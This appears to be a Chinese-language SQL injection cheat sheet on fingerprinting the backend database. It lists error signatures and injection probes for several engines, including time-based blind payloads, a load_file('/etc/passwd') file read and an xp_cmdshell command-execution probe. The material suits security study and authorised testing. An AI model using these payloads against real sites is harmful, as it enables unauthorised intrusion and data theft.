找到一个注入点怎么判断对方什么数据库
1. 报错信息判断
最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息
- MySQL:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
- SQL Server:
Microsoft OLE DB Provider for SQL Server
、Incorrect syntax near '...
- Oracle:
ORA-01756: quoted string not properly terminated
- PostgreSQL:
PostgreSQL query failed: ERROR: parser: parse error
- SQLite:
sqlite_query()
、SQL syntax error
2. 特有函数和语法判断
即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于盲注场景
MySQL
version()
:and 1=1 and version()
。如果页面返回了版本号(如5.5.53
),那就是 MySQLsleep()
:and sleep(5)
。如果页面延迟了 5 秒,那很有可能是 MySQLuser()
:and user()
database()
:and database()
load_file()
:and load_file('/etc/passwd')
SQL Server
@@version
:and 1=1 and @@version
。如果页面返回版本信息,则是 SQL Serverxp_cmdshell
:and 1=1;exec xp_cmdshell('ping 127.0.0.1')--
。如果请求延迟,可能存在命令执行漏洞db_name()
:and db_name()
system_user
:and system_user
Oracle
user
:and user
sys.dba_tables
:and 1=1 and (select count(*) from sys.dba_tables)
。如果返回正常的页面,说明存在这张表dbms_pipe.receive_message()
:and 1=1 and dbms_pipe.receive_message('a',5)
。可以用来进行带外信道(OOB)注入
PostgreSQL
pg_sleep()
:and pg_sleep(5)
。如果页面延迟,很可能是 PostgreSQLversion()
:and version()
pg_database
:and 1=1 and (select count(*) from pg_database)
3. 不同数据库的查询差异
每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断
- 字符串拼接:
- MySQL:
union select 'a','b'
- SQL Server:
union select 'a'+'b'
- Oracle:
union select 'a'||'b'
- MySQL:
- 注释符号:
- MySQL/PostgreSQL:
--
(后面需要加空格)、#
- SQL Server/Oracle:
--
- 内联注释:
/**/
可以在多种数据库中使用
- MySQL/PostgreSQL: